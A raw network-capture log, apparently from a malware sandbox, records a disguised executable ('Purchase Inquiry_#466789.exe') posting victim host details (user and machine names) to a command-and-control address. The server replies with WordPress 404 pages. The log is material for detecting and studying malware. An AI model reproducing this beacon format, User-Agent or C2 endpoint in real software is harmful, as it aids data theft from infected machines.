May 27, 2024 08:33:44.488511086 CEST	1236	IN	Data Raw: 2c 32 32 37 2c 31 29 20 30 25 2c 72 67 62 28 31 35 35 2c 38 31 2c 32 32 34 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 2d 74 6f 2d 76 69 76 69 64 Data Ascii: ,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradie
May 27, 2024 08:33:44.488543034 CEST	1236	IN	Data Raw: 64 69 65 6e 74 2d 2d 65 6c 65 63 74 72 69 63 2d 67 72 61 73 73 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 32 30 32 2c 32 34 38 2c 31 32 38 29 20 30 25 2c 72 67 62 28 31 31 33 2c 32 30 36 2c 31 32 36 29 Data Ascii: dient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--wp--preset--font-siz
May 27, 2024 08:33:44.488576889 CEST	448	IN	Data Raw: 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 6c 75 6d 6e 73 2e 69 73 2d 6c 61 79 6f 75 74 2d 67 72 69 64 29 7b 67 61 70 3a 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 74 65 6d Data Ascii: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}.has-black-color{color: var(--wp--preset--color--black) !important
May 27, 2024 08:33:44.488610029 CEST	1236	IN	Data Raw: 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 70 69 6e 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 72 65 64 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 Data Ascii: -color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{colo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49783	45.61.137.215	80	7244	C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 08:33:46.674160957 CEST	244	OUT	POST /index.php/t?id=090 HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 45.61.137.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A316C5D8 Content-Length: 149 Connection: close
May 27, 2024 08:33:46.679063082 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 36 00 37 00 35 00 30 00 35 00 32 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones675052JONES-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 08:33:48.828109026 CEST	1236	IN	HTTP/1.0 404 Not Found Date: Mon, 27 May 2024 06:33:47 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://45.61.137.215/index.php/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 09 3c 68 65 61 64 3e 0d 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0d 0a 09 09 0d 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 73 65 70 61 72 61 74 65 64 20 70 61 70 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><title>Page not found – separated paper</title><meta name='robots' content='max-image-preview:large' /><link rel='dns-prefetch' href='//fonts.googleapis.com' /><link rel="alternate" type="application/rss+xml" title="separated paper » Feed" href="http://45.61.137.215/index.php/feed/" /><link rel="alternate" type="application/rss+xml" title="separated paper » Comments Feed" href="http://45.61.137.215/index.php/comments/feed/" /><script type="text/javascript">/* <![CDATA[ */window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concate
May 27, 2024 08:33:48.828167915 CEST	1236	IN	Data Raw: 6d 6f 6a 69 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 34 35 2e 36 31 2e 31 33 37 2e 32 31 35 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 35 2e 33 22 Data Ascii: moji":"http:\/\/45.61.137.215\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.5.3"}};/! This file is auto-generated /!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,
May 27, 2024 08:33:48.828203917 CEST	1236	IN	Data Raw: 65 6e 43 61 6e 76 61 73 28 33 30 30 2c 31 35 30 29 3a 69 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 63 61 6e 76 61 73 22 29 2c 61 3d 72 2e 67 65 74 43 6f 6e 74 65 78 74 28 22 32 64 22 2c 7b 77 69 6c 6c 52 65 61 64 46 72 65 71 75 65 6e 74 6c Data Ascii: enCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!0}),o=(a.textBaseline="top",a.font="600 32px Arial",{});return e.forEach(function(e){o[e]=t(a,e,n)}),o}function t(e){var t=i.createElement("script");t.src=e,t
May 27, 2024 08:33:48.828236103 CEST	1236	IN	Data Raw: 75 70 70 6f 72 74 73 5b 74 5d 3d 65 5b 74 5d 2c 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 3d 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 26 26 6e 2e 73 75 70 70 6f 72 74 73 5b 74 5d 2c 22 66 6c 61 67 22 21 Data Ascii: upports[t]=e[t],n.supports.everything=n.supports.everything&&n.supports[t],"flag"!==t&&(n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&n.supports[t]);n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&!n.support
May 27, 2024 08:33:48.828272104 CEST	896	IN	Data Raw: 72 3a 23 33 32 33 37 33 63 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 39 39 39 39 70 78 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 3a 63 61 6c 63 28 2e Data Ascii: r:#32373c;border-radius:9999px;box-shadow:none;text-decoration:none;padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none}</style><style id='global-styles-i
May 27, 2024 08:33:48.828305960 CEST	1236	IN	Data Raw: 2c 32 32 37 2c 31 29 20 30 25 2c 72 67 62 28 31 35 35 2c 38 31 2c 32 32 34 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 2d 74 6f 2d 76 69 76 69 64 Data Ascii: ,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradie
May 27, 2024 08:33:48.828341007 CEST	1236	IN	Data Raw: 64 69 65 6e 74 2d 2d 65 6c 65 63 74 72 69 63 2d 67 72 61 73 73 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 32 30 32 2c 32 34 38 2c 31 32 38 29 20 30 25 2c 72 67 62 28 31 31 33 2c 32 30 36 2c 31 32 36 29 Data Ascii: dient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--wp--preset--font-siz
May 27, 2024 08:33:48.828375101 CEST	448	IN	Data Raw: 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 6c 75 6d 6e 73 2e 69 73 2d 6c 61 79 6f 75 74 2d 67 72 69 64 29 7b 67 61 70 3a 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 74 65 6d Data Ascii: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}.has-black-color{color: var(--wp--preset--color--black) !important
May 27, 2024 08:33:48.828412056 CEST	1236	IN	Data Raw: 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 70 69 6e 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 72 65 64 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 Data Ascii: -color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{colo
May 27, 2024 08:33:48.828448057 CEST	1236	IN	Data Raw: 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 65 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 6c 75 Data Ascii: minous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-lig

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49784	45.61.137.215	80	7244	C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 08:33:49.414221048 CEST	244	OUT	POST /index.php/t?id=090 HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 45.61.137.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A316C5D8 Content-Length: 149 Connection: close
May 27, 2024 08:33:49.419390917 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 36 00 37 00 35 00 30 00 35 00 32 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones675052JONES-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 08:33:51.596375942 CEST	1236	IN	HTTP/1.0 404 Not Found Date: Mon, 27 May 2024 06:33:49 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://45.61.137.215/index.php/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 09 3c 68 65 61 64 3e 0d 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0d 0a 09 09 0d 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 73 65 70 61 72 61 74 65 64 20 70 61 70 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><title>Page not found – separated paper</title><meta name='robots' content='max-image-preview:large' /><link rel='dns-prefetch' href='//fonts.googleapis.com' /><link rel="alternate" type="application/rss+xml" title="separated paper » Feed" href="http://45.61.137.215/index.php/feed/" /><link rel="alternate" type="application/rss+xml" title="separated paper » Comments Feed" href="http://45.61.137.215/index.php/comments/feed/" /><script type="text/javascript">/* <![CDATA[ */window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concate
May 27, 2024 08:33:51.596431017 CEST	224	IN	Data Raw: 6d 6f 6a 69 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 34 35 2e 36 31 2e 31 33 37 2e 32 31 35 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 35 2e 33 22 Data Ascii: moji":"http:\/\/45.61.137.215\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.5.3"}};/! This file is auto-generated /!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessio
May 27, 2024 08:33:51.596467972 CEST	1236	IN	Data Raw: 6e 53 74 6f 72 61 67 65 2e 73 65 74 49 74 65 6d 28 6f 2c 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 74 29 29 7d 63 61 74 63 68 28 65 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 28 65 2c 74 2c 6e 29 7b 65 2e 63 6c 65 61 72 52 65 63 74 28 30 2c 30 Data Ascii: nStorage.setItem(o,JSON.stringify(t))}catch(e){}}function p(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data),r=(e.clearRect(0,0,e.canvas.wid
May 27, 2024 08:33:51.596506119 CEST	1236	IN	Data Raw: 22 73 63 72 69 70 74 22 29 3b 74 2e 73 72 63 3d 65 2c 74 2e 64 65 66 65 72 3d 21 30 2c 69 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 29 7d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 50 72 6f 6d 69 73 65 26 26 28 6f Data Ascii: "script");t.src=e,t.defer=!0,i.head.appendChild(t)}"undefined"!=typeof Promise&&(o="wpEmojiSettingsSupports",s=["flag","emoji"],n.supports={everything:!0,everythingExceptFlag:!0},e=new Promise(function(e){i.addEventListener("DOMContentLoaded",
May 27, 2024 08:33:51.596540928 CEST	1236	IN	Data Raw: 65 70 74 46 6c 61 67 26 26 21 6e 2e 73 75 70 70 6f 72 74 73 2e 66 6c 61 67 2c 6e 2e 44 4f 4d 52 65 61 64 79 3d 21 31 2c 6e 2e 72 65 61 64 79 43 61 6c 6c 62 61 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 2e 44 4f 4d 52 65 61 64 79 3d 21 30 7d 7d Data Ascii: eptFlag&&!n.supports.flag,n.DOMReady=!1,n.readyCallback=function(){n.DOMReady=!0}}).then(function(){return e}).then(function(){var e;n.supports.everything\|\|(n.readyCallback(),(e=n.source\|\|{}).concatemoji?t(e.concatemoji):e.wpemoji&&e.twemoji&&
May 27, 2024 08:33:51.596575975 CEST	672	IN	Data Raw: 69 64 3d 27 67 6c 6f 62 61 6c 2d 73 74 79 6c 65 73 2d 69 6e 6c 69 6e 65 2d 63 73 73 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 0a 62 6f 64 79 7b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 62 6c 61 63 6b 3a 20 23 30 Data Ascii: id='global-styles-inline-css' type='text/css'>body{--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red:
May 27, 2024 08:33:51.596609116 CEST	1236	IN	Data Raw: 2c 32 32 37 2c 31 29 20 30 25 2c 72 67 62 28 31 35 35 2c 38 31 2c 32 32 34 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 2d 74 6f 2d 76 69 76 69 64 Data Ascii: ,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradie
May 27, 2024 08:33:51.596642971 CEST	1236	IN	Data Raw: 64 69 65 6e 74 2d 2d 65 6c 65 63 74 72 69 63 2d 67 72 61 73 73 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 32 30 32 2c 32 34 38 2c 31 32 38 29 20 30 25 2c 72 67 62 28 31 31 33 2c 32 30 36 2c 31 32 36 29 Data Ascii: dient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--wp--preset--font-siz
May 27, 2024 08:33:51.596676111 CEST	448	IN	Data Raw: 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 6c 75 6d 6e 73 2e 69 73 2d 6c 61 79 6f 75 74 2d 67 72 69 64 29 7b 67 61 70 3a 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 74 65 6d Data Ascii: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}.has-black-color{color: var(--wp--preset--color--black) !important
May 27, 2024 08:33:51.596712112 CEST	1236	IN	Data Raw: 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 70 69 6e 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 72 65 64 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 Data Ascii: -color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{colo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49785	45.61.137.215	80	7244	C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 08:33:51.763360977 CEST	244	OUT	POST /index.php/t?id=090 HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 45.61.137.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A316C5D8 Content-Length: 149 Connection: close
May 27, 2024 08:33:51.768748045 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 36 00 37 00 35 00 30 00 35 00 32 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones675052JONES-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 08:33:53.890676975 CEST	1236	IN	HTTP/1.0 404 Not Found Date: Mon, 27 May 2024 06:33:52 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://45.61.137.215/index.php/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 09 3c 68 65 61 64 3e 0d 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0d 0a 09 09 0d 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 73 65 70 61 72 61 74 65 64 20 70 61 70 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><title>Page not found – separated paper</title><meta name='robots' content='max-image-preview:large' /><link rel='dns-prefetch' href='//fonts.googleapis.com' /><link rel="alternate" type="application/rss+xml" title="separated paper » Feed" href="http://45.61.137.215/index.php/feed/" /><link rel="alternate" type="application/rss+xml" title="separated paper » Comments Feed" href="http://45.61.137.215/index.php/comments/feed/" /><script type="text/javascript">/* <![CDATA[ */window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concate
May 27, 2024 08:33:53.890734911 CEST	224	IN	Data Raw: 6d 6f 6a 69 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 34 35 2e 36 31 2e 31 33 37 2e 32 31 35 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 35 2e 33 22 Data Ascii: moji":"http:\/\/45.61.137.215\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.5.3"}};/! This file is auto-generated /!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessio
May 27, 2024 08:33:53.890774965 CEST	1236	IN	Data Raw: 6e 53 74 6f 72 61 67 65 2e 73 65 74 49 74 65 6d 28 6f 2c 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 74 29 29 7d 63 61 74 63 68 28 65 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 28 65 2c 74 2c 6e 29 7b 65 2e 63 6c 65 61 72 52 65 63 74 28 30 2c 30 Data Ascii: nStorage.setItem(o,JSON.stringify(t))}catch(e){}}function p(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data),r=(e.clearRect(0,0,e.canvas.wid
May 27, 2024 08:33:53.890809059 CEST	1236	IN	Data Raw: 22 73 63 72 69 70 74 22 29 3b 74 2e 73 72 63 3d 65 2c 74 2e 64 65 66 65 72 3d 21 30 2c 69 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 29 7d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 50 72 6f 6d 69 73 65 26 26 28 6f Data Ascii: "script");t.src=e,t.defer=!0,i.head.appendChild(t)}"undefined"!=typeof Promise&&(o="wpEmojiSettingsSupports",s=["flag","emoji"],n.supports={everything:!0,everythingExceptFlag:!0},e=new Promise(function(e){i.addEventListener("DOMContentLoaded",
